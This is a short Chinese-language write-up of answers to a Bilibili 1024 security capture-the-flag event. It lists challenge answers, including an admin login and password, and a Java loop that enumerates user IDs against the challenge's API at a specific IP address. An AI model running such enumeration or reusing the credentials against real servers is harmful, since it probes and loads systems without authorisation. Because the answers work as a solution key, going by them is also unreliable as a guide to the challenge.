bilibili security 1024


第一題:

注意題目,頁面的背后是什么?所以答案在頁面里。

如果直接改User-Agent的話將會得到第二題的答案......

第三題:

user=admin password=bilibili

第四題:

首先提示權限不足,下意識的認為第三題會反admin的cookie之類的東西。結果去第三題找了半天都沒找到,看到有人說是Administrator的MD5,好吧...

第五題:

下午去做題的時候服務器崩掉了,就這么請求接口不崩掉才怪......

寫了一個demo,異常沒有處理直接拋,連接也沒關...

public static void main(String[] args) throws IOException {
        //初始化httpclient
        CloseableHttpClient httpClient = HttpClients.createDefault();
        for (int i = 100336889; i < 100336989 ; i++) {
            String url = "http://45.113.201.36/api/ctf/5?uid=" + i;
            HttpGet httpGet = new HttpGet(url);
            httpGet.setHeader("Cookie","");
            //httpGet.setHeader("User-Agent","bilibili Security Browser");
            CloseableHttpResponse response = httpClient.execute(httpGet);
            String httpResp = EntityUtils.toString(response.getEntity());
            JSONObject jsonObject = JSON.parseObject(httpResp);
            String code = jsonObject.get("code").toString();
            if (code.equals("200")){
                System.out.println(jsonObject.get("data").toString());
                return;
            }
        }
    }
第六題:

頁面沒有打開,服務器可能是又崩掉了。有時間再去看看吧。

(其實我不會php QAQ)


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM